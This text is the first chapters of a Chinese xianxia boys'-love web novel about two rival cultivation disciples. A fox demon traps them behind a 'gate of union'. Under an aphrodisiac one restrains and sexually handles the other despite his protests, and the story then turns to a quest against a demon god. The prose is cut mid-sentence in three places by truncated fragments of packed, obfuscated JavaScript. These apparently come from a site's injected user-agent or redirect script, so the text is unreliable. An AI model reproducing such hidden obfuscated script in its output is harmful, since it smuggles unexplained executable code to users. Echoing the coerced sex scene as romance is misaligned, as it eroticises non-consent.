《清冷师哥怀了死对头的崽》 1. 冤家路窄 过不了多久,林淮舟便会进入一个极其荒谬绝伦的梦。 梦中,他正和死对头祝珩之……做一件任谁也无法置信的事。 “我真不是故意的,师哥,我特别想帮你,可是这荒郊野岭的,风有点大,火势跑偏了,也不奇怪吧?吼?” 祝珩之明明在解释,可语气轻佻,气定神闲摇着一把折扇,态度极其敷衍。 约莫一刻钟前,林淮舟正与作恶多端的白狐妖打得如火如荼,天地倒转,就在收服之关键,祝珩之莫名其妙跳了出来,朝妖怪扔出一团灵火。 可好巧不巧,不知哪里刮来一阵大风,那火反而被吹回来,轰一声,涨到三丈高,形成一道火墙,又好巧不巧,严严实实挡住了林淮舟视野。 然后,就让狐妖趁机侥幸跑了。 林淮舟握紧剑柄,指节泛白,将剑尖直勾勾定在祝珩之眉心前毫厘之处:“我为了追这狐妖,足足七天七夜未合眼。” “师哥,剑可不兴指着自己人啊。”祝珩之一收折扇,点了点映着黄昏红霞的白刃,双目浸着与生俱来的笑意,一弯,便邪魅横生。 林淮舟冷笑一声:“别以为我不知晓,你我如今皆是金丹中期,倘若我收了这六阶狐妖,便有时机再上一乘,快过你。” “也只是有时机罢了,又不一定能成,难道在师哥心里,我就这么不堪?”对方折扇横抵着他的心口,轻轻挠挠,眸中含情。 林淮舟瞥向一旁,手腕一翻,打掉那把轻浮的折扇,冷冰冰警告:“祝珩之,你若再故意阻挠,我定不饶你。” “多好啊,你们俩站在一起,简直天生一对呢。” 二人齐齐闻声望去,见那白狐妖忽然失而复返,狐头人身,犬坐于高树顶上,笑得阴阳怪气。 林淮舟眉心一蹙,右脚退半步,足尖点地,银发飞舞,宽袖如蛾,挥剑刺去! 却见狐妖没有窜逃,只缓缓阖眼,嘴唇频繁蠕动,咦咦呜呜,像在召唤什么。 林淮舟脸色一凛:“不好!” 可已经太迟了,虚空之中,突然有股不可抗拒的力量把他拽回去,林淮舟当即从空中摔落! 电光火石之际,后腰缠上一只结实有力的手臂,稳稳托他着陆。 “师哥,你的腰好细。” 舒尔,腰间一酸,似被什么捏了一下。 林淮舟当即色变,重重推开这个卑鄙小人,一个刀眼飞过去:“滚。” 此时,夕阳下沉,大地昏暗,狐妖低喃如古老的钟声,荡漾远扬,清晰可闻:“天地玄黄,阴阳相引,魅血为盟,合欢为门,开!” 顷刻间,狐妖留在地上的那滩血像变成八爪鱼,触角纷纷围着林祝二人迅速蔓延,将其困在阵法中,红光成巨罩,亮如白昼。 冰光千影,火符连飞,林祝二人使劲浑身解数,亦劈不开那一层薄至微透的光罩。 祝珩之难得大汗淋漓:“他娘的怎么破不开!” “蠢货,这是上古禁制!神仙来了也闯不出去!”林淮舟相对比较冷静,但鼻尖也冒出毛汗。 大地陡然一晃,急急抖动,轰隆隆——一扇蒙尘的参天之门乌泱泱破土而出! 门漆为红,上有奇奇怪怪的线条图案,无不诉说古老,其中,一黑色门匾悬于顶端,金色行书,三个辉煌墨字 ——合欢门。 门轧轧而开,里面一望无际的黑暗,如同无底洞,骤然,一阵强大的风涡像一只无形大手吸住他们! 衣袍猎猎而飞,长发凌乱,林祝二人立即气沉丹田,负隅顽抗,愣是如此,脚下也被拖曳出又长又深的泥印。 光罩外,狐妖气定神闲,负手黠笑:“别挣扎了,没用的,这合欢门只有一个破解之法,是吧?清也君?” 清也,林淮舟的字。 彼时,二人已经被拽到门边,身后黑暗无垠,如血盆大口的饕餮。 林淮舟一手撑剑,银发如霜,眼尾怒红,一字一句从牙缝挤出:“卑鄙无耻。” “既知晓,那我就不送了,静候你们的好戏啦。”话音未落,狐妖捏了一个诀,风涡瞬间速转,林祝二人不敌,眨眼间犹如无根浮萍,飘进黑暗长河。 砰的一声,合欢门紧紧闭上! 咚——祝珩之好似从高空跌落,直直摔在地上,头晕至极,浑身散架,才晃了晃头,一个如蝶展翅的黑影垂直降临,像块巨石精准砸于他胸口。 先是一阵淡淡的芙蓉冷香袭来,痛感才至,他又疼又暗喜,轻佻道:“美人儿,你可砸死我咯。” 说着,他笑眯眯抬手抱住身上人,结果手感并无想象中柔软,睁眼一瞧,却是一只毫无褶皱的干净白靴。 “……你踩我作甚?” 林淮舟居高临下把鞋底印在他脸上,银发垂落颊侧,面容秀丽,下颌俊冷,淡蓝眸子微眯,道:“若非你从中作梗,我岂会落得这般田地?” 祝珩之的俊脸已经被踩出断断续续的鞋印,他不怒反笑:“师哥莫气,咱们已经是一条船上的蚂蚱,应当同心同德,想办法出去才是嘛。” 林淮舟冷哼一声,收回脚之前又重重踩了一下他胸口,后者嗷一声,左右滚了滚,脸上还是笑嘻嘻的。 有种拳头打在棉花上的无力感,林淮舟早已习以为常,不予置理。 祝珩之蹭的坐起来,忽而闻到别的香味,甜腻的,浓郁的,宛若置身花街柳巷,乍一看,深蓝苍穹下开满粉色的花,花形怪异,闪着幽幽荧光,如梦似幻。 “二位道长,羡情花可好闻啊?”狐妖不怀好意的声 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不知怎得,花香渐浓,好似一群美人围着他,使劲儿摆弄魅惑的腰肢。 须臾,祝珩之鬓角覆汗,薄唇紧抿。 耳尖不自觉微烫,身体不寻常地升起燥热。 糟,糕。 祝珩之速速结印,硬是把心头的无名火压下去。 可那玩意儿就像浮浮沉沉的汪洋海水,一波未平,一波又起,而他,则若岸边细沙,融化、晒干、晒干、融化,循环往复,被折腾得愈发潮热。 “白痴。”端坐莲花灵光之中的林淮舟忽而开口,骂的还有谁? 祝珩之心口很躁动,好似有一头野兽胡乱冲撞,欲破笼而出,这一听,就更不舒服了:“还不是因为你一开始不告知我?” “师父讲学时,曾提过这合欢门。”林淮舟义正言辞道。 “你……”奈何,祝珩之从不认真听学,要么逗鸟玩虫刻桌子,要么瞌睡发呆开小差,也怪不着谁。 “所谓长兄如父,你作为大师哥,理应对我这个二师弟饱含慈父之心,谆谆教导才是,义父?”祝珩之吃了哑巴亏,油嘴滑舌硬扯歪理,自成一派的伦理纲常张口就来。 “……混账。”林淮舟嘴角抽搐。 风头盖过对方,祝珩之大乐。 这一乐,本就混乱的气息就更乱了,四冲八撞,结了好几个法印还是镇不住,他以手俯胸,微微喘息。 浑身如被挖空的浮木,任由虫蚁攀爬。 不知是不是意识迷乱,他居然看见林淮舟胸脯起伏不齐,不多时,从一丝不苟的衣领往上,脖子到耳根,都铺上一层红霞。 祝珩之喉结滑动,靠过去,弯唇道:“师哥,可要双修?” 2. 梦境如实 此话一出,他立马捂住自己的嘴,恨不得咬断舌头。 他又不喜欢男的! 不对,就算他喜欢男的,也绝无可能和死对头双修! 这绝对不是他说的话,绝对不是! 他心虚觑了一眼,幸好,林淮舟静如佛子,没有反应,许是不曾听见。 然,祝珩之这一瞧去,灼灼目光便再也收不回来。 妖艳花海之中,但见林淮舟被莲花灵光所罩,出尘如仙,银发如瀑,一身月白长袍,素净沉敛,腰带绣莲纹,宽窄恰好,细腰收束,一掌可握。 往上看,衣领齐整塞不进一张纸片,他肤白如雪,脖子修长,弧度姣好,好似不蔓不枝的素净白莲。 视线续移,不免呼吸一滞。 唇色如含着一颗樱桃,唇线优柔,鼻梁挺直而细,中间缀着一个恰到好处的小灰痣,宛若一座立于万里冰雪之上的黛山,令人不禁神驰。 祝珩之喉结一上一下,也好不到哪里去,索性坐于他对面,扯了扯领口,一手支颌,歪头挑眉道:“师哥……莫非不敢?” 林淮舟冷目扫去:“什么?” “与我,双修。”祝珩之眼里含笑道。 “……”他噎了一下。 林淮舟知晓此人脸皮极厚,却不想,此人居然还能脸不红心不跳公众邀欢,片刻,他撇开目光,耳朵全红,嗔道:“……不知廉耻。” 任谁被这般多次直白厌恶,脸色都不会好到哪里去,祝珩之撇撇嘴,凉凉道:“这是出门的唯一方式,我还不愿意呢,我可没有龙阳之好啊,再说了,你也就一般,好看,而已。” “瘦得连阵风都能刮跑,每天板着个脸,所有人都得罪你似的,每天不是练剑、打坐,就是看书、下棋,就爱吃白菜豆腐萝卜丝,无趣至极,无聊透顶,无可救药,若非火烧眉毛,我才不稀罕。” 祝珩之拉长声音,细细数来,嘴角吊儿郎当叼着一根草,丰神俊朗的脸庞上写着两个字“欠揍”。 “我如何,轮不到你这个小辈来评头论足,烦请离我远点,多谢,你若是想找死,我很乐意成全你。”林淮舟不冷不热道。 祝珩之嘶了一声,还较起劲儿了,一边说一边挪过去:“凭什么要听你的?这地儿是你家的吗?我爱坐哪坐哪。” 对方一脸嫌弃往旁仰,不耐烦蹙眉。 这个表情,祝珩之熟到闭眼都能画出来的,从五年前他们做同门开始,便为了争夺界内第一,无时无刻不斗得日月失辉,天地失色。 先前,关于派谁参加今年仙门大会之事,就闹得轰轰烈烈,鸡飞狗跳,整片神岳大陆无不笑话。 论资排辈,出战者,理应由能力最强者担任,林淮舟是也。 然而,祝珩之横插了一脚,扬言:“长江后浪推前浪,虽然师哥历年第一,但今年,可未必第一,到时可别丢了天留山脸面。” 此话一出,惊涛骇起。 祝珩之如此大言不惭,也不是没有缘由。 他出身富商之家,十八岁才上山拜师,仅仅修炼了五年光景,便在去年的仙门大会上打败了千年老二容山堂弟子,排名仅次于打牙牙学语便开始修炼了二十多年的林淮舟。 自此,一战成名,甚至人间有人把他们两个并称为“天留双壁”。 而后,天留山赤霄阁自成一派,力挺祝珩之,于是乎,天留山寒水涧弟子也不甘示弱,一气呵成,拥护林淮舟。 水火两派,日吵夜吵,见面就打,后来,掌门妄静仙尊实在被吵得头疼,便随流举办一场赛事。 谁想,这场赛事,居然打破了修真界以来所有比赛的时长记录。 当时,银光闪目,火光冲天,无不令人眼花缭乱,林祝二人足足斗了十天十夜,亦没分出胜负。 妄静仙尊以及受邀相评的长老们都一把老骨头了,眼冒金星,精力匮乏,实在熬不住,不知谁,提议抓草棍的民间法子。 不知怎得,两人的草棍居然长短一致,粗细相同。 若非妄静仙尊好言调解,才把事情拖延下去,否则,那二人即便斗个你死我活,也要把仙门大会的名额抢到手。 如今,天公不作美,阴差阳错下,他和林淮舟居然被关进这杀千刀的合欢门。 两人你一言我一语争执不停,没人会低下头认输,祝珩之更是出了名手脚多,嘴巴巴拉一句,就挪近一寸。 对方如何能让他碰到一点?便也往旁边移,二人一起一落,像两只怒目圆睁的青蛙在为你死我活博弈。 蓦地,花香入骨的祝珩之眼前一阵发晕,不知绊到什么,低呼一声,同时整个人不可控地压向林淮舟! 祝珩之只觉他的唇已经贴上一片软凉的肌肤,眼皮似有羽毛轻轻扫过,他脑子唰的一下空白。 可这合欢门之中,除了林淮舟,还有谁? “……” 祝珩之愣了一会儿,蓦然往后一闪,跌坐于地,一抬眼,便撞上林淮舟呆滞发空的眼睛。 花香成河,哗哗啦啦。 约莫羡情花作祟,林淮舟反应有些迟钝,这才瞳孔骤缩,不可置信抬手摸着鼻梁上还有唇温的痣,颅冒怒火,一拳打去:“混蛋!” “我我我……” 祝珩之下意识做好迎战姿势,可那自带冷梅香的拳头迟迟没落下,反而见他往后退了几步,眼神没了清明,有些使不上劲儿。 祝珩之眨眨眼,须臾,不管不顾捧腹大笑道:“哈哈师哥,这滋味不好受吧?我就说,真不怪我,你看你,也中招了呀。” “……我没有,你要是敢碰我,我就一剑捅死你。”林淮舟浑身燥热,眼神依然冷冰冰。 他绝不可能在死对头面前示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他握拳瞠目道,可那漂亮的眼睛里,满是旖旎的水汽,正在一点点挑断他的防线,铁一般的骨节也开始染上粉红。 “师哥难道觉得身材没我好?害怕脱了衣裳,被我比下去?”祝珩之眼神迷离,显然已被羡情花蒙住了清明,不知所云。 “还是害怕,力量不如我,被我压在身下?求生不得,求死不能?”他勾起邪气的唇角,幽幽道。 不知谁哪一句起效,但见林淮舟面如冰雪,目若利刃,视死如归,咬牙果断道:“谁怕谁,来就来。” 话音未落,林淮舟只觉天旋地转,眼前一黑,砰的一声,后脑勺枕在一个宽厚柔软之物上。 下一刻,双腿被迫分离,黑影压来,身体动弹不得,顷刻间,手腕交叉,越过头顶…… 3. 上下之分 “你……放开!” 林淮舟挣扎未果,恼羞成怒,刀眼飞去,但见祝珩之目光灼灼,眼神似火,墨瞳如渊。 嘴唇被对方左手指腹有下没下摩挲,略糙的表皮磨得有点疼,接着,那手缓缓沿着他的腰线游移。 林淮舟生来心高气傲,怎受得住这般打压与欺辱?他立即抬腿向上精准一踢,祝珩之吃痛一声。 趁机,他像游鱼似的挣脱桎梏,反身压住,揪着对方衣领,银发如帘,眯眼道:“想占我便宜,没门。” 羡情花随风摇摆,香味溢满,流淌一地。 祝珩之不气反笑,大手鬼魅似的缠住他软成水的腰,往身前一带,视线为笔,徐徐描摹对方精致的五官:“师哥,你这张如此好看的脸,不身下承欢,咦咦吟吟,实在暴殄天物,天理难容啊。” 顷刻间,林淮舟又被压在下面,还不等他反击,祝珩之手指成影,速速点了他的要穴。 “祝……”倏尔,林淮舟只觉浑身流动的灵力瞬间静止,躯体犹如压了一座泰山,根本无法动弹,他咬牙切齿道:“天留山第四十三条规定,不得以下犯上,你找死!” “是吗?有吗?我怎么不记得啊?”被花香熏得天昏地暗的祝珩之满脑子想着床第之欢,此刻露出捕到猎物的黠笑,“别挣扎了,师哥,我可是用尽了全部灵力的。” 日常而言,他与祝珩之实力相当,后者绝无可能点两个穴位就轻易制住他,然而,此乃合欢门内,羡情花毒素早已打散了他的灵力。 加之,祝珩之将可控的灵力悉数凝于指尖,一下子锁住了他的运转口,好比一扇千钧闸门挡住奔腾水流,一滴水也渗不出严丝合缝的门隙。 “卑鄙!” “兵不厌诈嘛,赢的人,还是我。”话罢,他俯身,像标记猎物似的,在林淮舟气红的耳朵轻吹了一口温气。 “嗯……”尾音很细,像猫尾巴微微上扬。 几乎一刹那,林淮舟瞳孔皱缩,神情格外不可思议,难得露出一片空白。 同时,祝珩之显然一愣,眼里的雾散了点,须臾,难以置信眨了眨眼:“刚刚……什么声音?” “你耳朵有问题。”林淮舟索性咬紧嘴唇,脸庞烧得火辣辣。 “我不是聋子。” “你是。” “我不是。” “你就是。” “……”祝珩之突然不犟嘴了,一动不动,安静得可怕。 趁此期间,林淮舟暗暗运转灵力,试图掀开那扇千钧大门,忽而,一股很轻微的暖流开始徜徉,流至手指、手腕,紧绷的肌肉变得松软,双腿也可以慢慢挪动。 “别动。”祝珩之一手按住顶在他大腿根的膝盖。 林淮舟怎么可能听他的话?冷切一声,毋庸置疑,那个膝盖胡乱晃动,企图支撑起僵硬沉重的上半身。 舒尔,林淮舟也静如处子。 与此同时,祝珩之特别享受扬长嘶了一声,神志不清地揶揄道:“师哥,都说了,别动,你瞧,它又大了,是不是比你大?” 林淮舟:“……” 羡情花的浓香几乎要灭顶,林淮舟平日定力就惊人,还没祝珩之那么中毒至深,换言之,后者的意识已经被花香吞没,已经同醉鬼没两样了。 “厚颜无耻,从我身上,滚下去。”明明很凶很威严的语气,林淮舟却说得有气无力,倒有几分欲拒还迎的调情把戏。 “我就不信了,你能好到哪里去?”祝珩之眸里雾浓得拨不开,不知哪来的力气,转眼间,再次死死禁锢林淮舟四肢,右手快速解开腰带,狠狠摸他一把。 “祝珩之!你……混蛋……停下!” 林淮舟恼羞成怒,气息急促,本来一直控制好的呼吸顷刻间乱成麻线,大口大口吸入花香,犹如猛灌了一大坛最烈的酒,一头扎进酒池,眩晕、迷乱、颠倒。 含苞待放的羡情花宛若被什么灌溉,陆陆续续绽放,颜色娇艳,胜于从前。 不一会儿,祝珩之手心映着透明微白的水光,神志不清地笑了笑,还恶作剧般弯曲手指,黏在掌心,亵玩出几缕浓丝,低哑道:“我的好师哥,你可真是个尤物,喘起来,可真好听。” 但见林淮舟半露的胸脯染上一层浅粉,起起伏伏,他银发披散如藻,嘴唇微张,凤眸斜睨,眼尾怒红,向来镇定清晰的声音难得挟着娇横:“祝珩之,出去之后,我一定会杀了你!” 祝珩之漫不经心道:“船到桥头自然直,柳暗花明又一村,后面的事后面再说,得先出了这个门,不对吗?” 兴许是花香过于侵入脑子,他一时语塞,须臾,骨子里的胜负欲本能作祟,迷迷糊糊道:“……那也是我在上面,你下来。” “凭什么?凭你年纪比我大?再说了,要做,就做个够,做个爽,师哥这么快,万一没有让我爽到怎么办?” “你……”林淮舟薄薄的脸皮下血色涌动。 腮含新荔,堪比花娇。 祝珩之再次紧紧贴上去,丝毫不给怀中人一丁点喘息的缝隙,没脸没皮道:“我保证让师哥,回味无穷。” …… 光亮,刺目,鸟声空灵,鼻间草木芬芳。 林淮舟下意识抬手遮眼,艰难掀开焊死的眼皮,晃晃沉重的脑袋,撑起疲乏酸痛的身子,凌乱的衣领顺势掉下肩膀,从脖子一路开叉到小腹,肌肤胜雪。 他茫然四顾,草地辽阔,林木繁茂,曲径通幽,地上剑痕交错,软草被压得歪七扭八,像铺了一张厚绿的双人床。 不远处,一滩迸射形的干涸血迹,其上粘着大大小小的白狐皮毛,仔细看,还有铺满炸得稀碎的肉块。 那黏在肉块上的,是稀碎的黄符,谁也不能比他更熟悉那符纸上的笔锋,肆意张扬而力透纸背。 林淮舟微微眯眼,原是,昨夜祝珩之笑眯眯解开他冰封之术的同时,也在其上附了致死的招式,看似放走了白狐妖,实则,先给一甜头,再不知不觉将其打入鬼门关。 往旁边看去,那里裂开一条深不见底的数丈沟壑,边缘泥石杂乱,好似曾有什么东西从中拔地而起。 那些是什么?他怎么会在这儿? 昨夜他追击一只白狐妖,却被祝珩之一路讨嫌作梗,然后,狐妖莫名其妙打开了上古禁制——合欢门,他与祝珩之就被关进去,接着中了羡情花之毒,后来…… 后来发生什么了? 该死,竟一时想不起来。 几乎同时,他蹙眉长嘶一声,手掌扶上酸胀的地方,又动了一下,他居然疼得叫出声响。 撕裂般的疼直直逼来。 倏然,脑子激灵一下,死去的记忆奔涌而出。 “做梦,你肯定比我快。” 他的话音未落,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如若他此刻的眼神可化作利刃,还在睡梦中傻笑的祝珩之早已被千刀万剐,尸骨无存。 林淮舟闭了闭眼,紧握饮霜剑剑柄,把天留山几百条门规正念倒念各五遍。 尤其是那两条“不得残害同门”“不得虐杀猪狗”。 不多时,腰间玉牌荧光大亮,急急闪烁。 这是天留山之人专用的传讯法器,光芒越匆忙,事态越紧急。 林淮舟神色一凛,心念口诀,刹那,指尖蓝光成团,掌心虚空一抹。 四个碎金大字凌空浮现,同时,妄静仙尊的声音从玉牌里传出:二人速归。 林淮舟是妄静仙尊一手教大的,敬他如父如母,从未忤逆过,只好把个人恩怨暂时作罢。 他冷脸走至祝珩之身侧,目光满是憎恶,缓缓虚握后者右臂,只见那垂下的手指骨节分明,修长均匀,一想到它们昨夜在自己体内肆无忌惮地进出,林淮舟怒火更旺,抽了抽眼角,手腕一翻,猛然反向一折。 清脆咔嚓一声。 “啊——”祝珩之高亢破音的惨叫声惊散林中禽鸟。 4. 大难临头 天留山,云光殿。 林淮舟衣冠楚楚立于殿中央,躬身抱拳,声线冷冽如潺潺雪泉:“弟子拜见师尊。” 但见殿上宝座的妄静仙尊抚须颌首,犹如云中仙鹤,风姿非凡,他慈爱问道:“淮舟啊,你嗓子怎么有点哑?” 林淮舟身形微滞,他分明已经用内力调整了一番,在来的路上亦和几位师弟打过招呼,没人发现异样。 他清了清喉咙,面不改色回道:“许是清晨喝水太少。” 林淮舟打小格外自律自觉,严格遵循天留山弟子一日常规,亥时入睡,卯时起床,晨起喝一杯水,食不言寝不语等,乃妄静座下几千弟子中最令人骄傲的榜样,因此,妄静并未多心,只淡淡嗯了一声,问:“珩之何在?” 林淮舟不动声色道:“死了。” 妄静眉宇不惊,笑着摇摇头,食指虚空点了点:“你们又打架啦?” 他沉吟不语,片刻,正色道:“师尊召我,所为天劫一事?” “不错,”妄静负手行下台阶,不急不徐,“淮舟啊,你一向聪明过人,不过兹事体大,还需珩之助你。” “师尊尽管吩咐,我定然全力配合师哥,”说曹操曹操就到,祝珩之大步流星而来,停在林淮舟身旁,满脸嬉笑,弓腰道:“拜见师尊,拜见师哥。” 妄静满意点点头,目光疑惑地停留在祝珩之那条以格外怪异扭曲的角度变形的右臂:“你这是……” “哦,无碍,师尊无需挂心,”祝珩之大大咧咧一笑,还荡秋千似的晃着玩儿,“好像昨夜……” 一旁林淮舟难得目光咬紧他,手中饮霜剑已经拉出半指长的雪白剑刃,好似对方一旦泄露昨夜不齿之事,他便当场一剑毙了祝珩之的命。 “嘶……我也想不起来,头疼得很,一大早起床就这样了。” 祝珩之也很苦恼,不知哪位有那么带劲儿的力气,居然一招就生生折断他的右臂,而且,轻功还非常了得,一睁眼就没人了。 “哎呀,珩之,你的脸好像红肿得厉害啊。”妄静惊呼道。 “啊?是吗?很严重吗?”他一醒来就收到了师尊的传唤,立即马不停蹄赶过来,照镜子的功夫都没有。 妄静暗暗觑了若无其事的林淮舟一眼:“嗯,确实有点严重。” 此话一出,祝珩之大惊,赶忙掏出随身携带的小铜镜,妄静轻轻按住他的手,煞有介事道:“欸,不急,为师还是先把天劫之事交代给你们吧。” 所谓的天劫,即妖神现世。 妖分九阶,阶级越高,力量越强,而妖神,乃最高阶者,依附人界恶欲而生,神格加身,万妖朝拜,不死不灭,拥有毁天灭地之力。 《仙门史传》记载,这片神岳大陆有三千余年历史,在修真界的保护下,人们一向过着太平日子,直至七百多年前,九幽莲池突然爆发出一团强大的黑雾,所谓妖神的混沌体,而后,在契机之下,妖神修炼成形,伊始为非作歹。 当时,仙门百家一万七千余人,合力铸就地渊结界,方将妖神成功镇压于紫邪山下,事后,生还者不足五百人。 妄静肃然道:“淮舟近日追捕的那只白狐妖,便是从结界缝隙逃出来的。” 林祝二人双双凝住脸色。 地渊结界是最强大的阵法,绝对没有之一,光凭一只修炼几百年的狐妖,如何能闯出来? 林淮舟似乎猜到什么,额角一跳,冷峻的神色难得荡起一丝涟漪,沉声道:“妖神。” 此时,向来嘻嘻哈哈没个正形的祝珩之,罕见地缄默了。 突然,地动山摇,瓦灰簌簌掉落,宛若天崩。 “师尊小心。!林淮舟一手扶稳妄静,一手蓝光莹莹,悬空形成一道雨帘,挡住落瓦石块。 林淮舟脸色更沉了,因为,这波震荡隐隐冲来一股浓烈的妖气,绝非一般妖物所有。 他警铃大作,指尖蓝光成团,欲捏诀传讯其余弟子摆阵防御,然而,妄静却气定神闲拍了拍他的手,摇了摇头。 与此同时,大地稳如磐石,一切皆恢复如常。 林淮舟:“师尊,方才是……” 妄静黯然点头,叹道:“不错,是他,他在试图挣脱结界,今早也有一次,所以,我才速唤你们归来。” 林祝二人难得齐齐愕然。 妖神苏醒之日,便是人间覆灭之时。 妖神乃万妖之主,其混沌之力深不可测,他一旦现世,天下妖物皆会以不可估量的速度增强妖力,犹如烧不尽的野草,至于修真界能否打赢这场仗,谁也不敢保证。 届时,只有地渊结界才能困住这个万恶之源。 可是,集结了一万多位修士的灵力才筑成的地渊结界,如今想要修复裂缝或重筑一个,又谈何容易? 妄静冷静分析道:“不过,据方才的妖气,为师能感受到,他此时只是恢复了一些意识,还未真正苏醒,我们还有时间。” 须臾,林淮舟若有所思道:“适才那一阵震波,其实一种信号,妖神在向三妖王发号施令,准备以梵珠集结万妖之力,助他冲破结界。” “伯、仲、叔。”祝珩之眯了眯眼道。 此三字一出,三人色变,纷纷沉吟。 伯仲叔者,即取自三大妖王之名首字,蛇妖伯孟、石妖仲绝、鲲妖叔灭。 当年,紫邪山一战,仙门百家将所有妖物同妖神一起打入地渊结界,千钧一发之际,妖神自碎内丹,化成三颗梵珠,植入三妖王体内,梵珠化作灵网护送他们冲出重围。 至于藏在哪里,无人知晓。 妖神与万妖之力根脉相通,一增俱增,此长彼长,而增强妖力的最快渠道,便是吸取魂魄与精气,白狐妖便是如此。 照这样看来,三妖王已接收到妖神之令,很快便会利用梵珠发动众妖,不惜一切代价,为祸人间,助妖神一臂之力冲破结界,到时,万妖倾巢而出,人间将会炼狱一片。 须臾,妄静目光庄重道:“林淮舟听令。” “弟子在。” 但见妄静变出一块荧光闪烁的圆物,郑重其事对林淮舟道:“这是星罗盘,当年,为师将三妖王的少量妖气封存于此,一旦他们有动静,罗盘便会化出星辰,指引你前去,务必拿到三颗梵珠,阻止他们号令众妖危害世人。” 林淮舟双手虔诚接下:“弟子遵令,定不辱师命。” 妄静闭目握住他右腕,林淮舟只觉一股一股温流不停传入,感觉浑身的力量集中于滚烫的右手,须臾,他五指不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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譬如,寒水涧的水灵根弟子主张修身养性,清心寡欲,用祝珩之的话来说,是一群头上长毛的和尚。 而赤霄阁则不同,修炼火系术法无需克己忘欲,该吃该喝该玩,跟普通人没两样,只要不干没良心的事,便不算违背门规。 然,祝珩之十八岁才修炼,在此之前,他就是一个不务正业吃喝玩乐夜不归宿风流无度花言巧语的纨绔子弟,在林淮舟眼里,他身上沾染的不良习气俯拾皆是,属实不入眼。 道不同不相为谋,这也是林祝二人互不对付的主要渊源。 林淮舟道:“你凭什么同我争?手下败将。” 祝珩之双手撑腰,昂然道:“我什么时候败给过你了?别以为你长得好看就可以肆无忌惮胡说八道。” “不论如何,在仙家百名榜上,我第一,你第二。” 此话犹如一把锐刀,嚓的一声狠狠戳进祝珩之心窝,后者当场耐不住了:“好啊,林淮舟,你说起话来真不把人当人看,来来来,我们比一场,谁怕谁啊。” “比就比,剑不长眼。”话音未落,他已挥剑刺向对方双目。 5. 旧仇新怨 幸亏祝珩之反应速度惊人,腰身往后仰去,足尖一点,整个人跃于殿外,拍着胸口,呼出长气:“差点瞎了,师哥,还没喊开始呢,你就出这么狠的招。” 但见林淮舟浑身寒气逼人,连三米外的祝珩之都仿佛如坠冰窖,情不自禁哆嗦了两下:“看了不该看的,瞎了甚好。” 话罢,他执剑追来,剑风凌厉,势如破竹,招招致命,毫不留情,使得祝珩之节节后退,额间冒汗,略显吃力。 后者本来就断了一只手臂,更来不及发出攻势,只得防御为主,可林淮舟见招拆招,寒气森森,豁出命也要拿他小命似的,祝珩之不爽道:“我又哪里惹到你了?!” “你接着装。”林淮舟一想到昨夜之事,恨不得当场卸了他的头,再剁成肉酱喂狗。 祝珩之已经被剑逼到围墙上翻来覆去,摊煎饼似的,心中又气又急,无奈踩墙上树,遮蔽一时,向下喊道:“我真的不记得了!真没骗你!等等,我们这算比赛开始了吗?” 林淮舟二话不说,面若冰霜,指尖聚集莹莹光团,低喝:“去!” 咻的一声,饮霜剑听令如箭飞出,同时旋转成影,携着呼呼风声,同时不断甩出锋利冰锥,个个朝着祝珩之要害打去,杀气腾腾。 祝珩之一手执五火七禽扇,扫出三个火球,逐个精准击破,然而,毕竟只有一只手能用,他的防御速度根本跟不上,大多时候还是灰溜溜地左躲右闪,保命要紧。 须臾,但见林淮舟神色决绝,指尖翻飞,不停加快剑速。 祝珩之一边满院子躲一边碎碎念:“比赛讲究公正,还没喊开始,你就抢先一步,这不公平!况且,我比你少一只手,这合理吗?胜之不武非君子所为,我说和你比赛,并没有说现在啊,起码要等我把手养好了再说吧!” 接着,顿时化作百把冰光剑影,刺、劈、撩、扫,每一招都携着霜雪之味,爆破力巨大。 冰火两重天,偌大的动静撼动了整座天留山,此刻正在膳堂排队等饭的弟子们面面相觑。 有人奇道:“他们怎么又打起来了?这一次动静好生厉害,该不会要斗个你死我活吧?” “还能为什么?肯定是祝珩之呗,我们大师哥出尘如仙,一心修道,从不惹是生非。”一白袍男子语含讥讽,若有所指。 “什么意思啊宋敬?”一旁的黑衣男子蹭的站起来,剑眉倒竖,“哦,你们寒水涧潜心修炼无欲无求,就把所有的错都归到我们赤霄阁身上?要不要脸啊寒水涧?”说着,男子握紧拳头,上前一步撸起袖子准备开干。 宋敬怒喝:“霍帆!你可以说我们,但绝不可以说大师哥!” 话音未落,周围的寒水涧弟子通通围了上来,齐齐拔出腰间佩剑,剑拔弩张。 中间长阶就似楚河汉界,左边,白衣飘飘,右边,黑衣飒飒。 舒尔,轰隆一声巨响,众人悉数看去云光殿方向,一棵冒出屋檐的百年大树应声倒下。 与此同时,红蓝双色缠绕,光柱冲向天际,强大的灵波卷起阵阵狂风。 可见,那边已经到了分出胜负的关键时节。 遑论谁先占理,只要打赢了,谁就是理。这是寒水涧和赤霄阁历年争斗无数次以来内定的规矩。 几乎同时,所有弟子不约而同倾巢出动,白影如泉水,黑影如乌云,泾渭分明。 不多时,霍帆甫一落在云光殿内,耳边就传来祝珩之的惨叫混着叮的一声。 但见祝珩之浑身被冰封住,单臂展开,长腿打开,呈大字形后背贴门,雪亮长剑径自穿过他裆部,连同布料稳稳钉在殿门上。 霍帆表情一言难尽,不动声色夹了一下腿。 周围的空气仿佛凝结,祝珩之动弹不得,也不敢乱动。 身下剑光莹莹,好像只要他一动或说些什么,他和亲爱的小祝就会立马天、人、相、隔。 适时,膳堂那边传来悠悠钟声,示意早饭时间到。 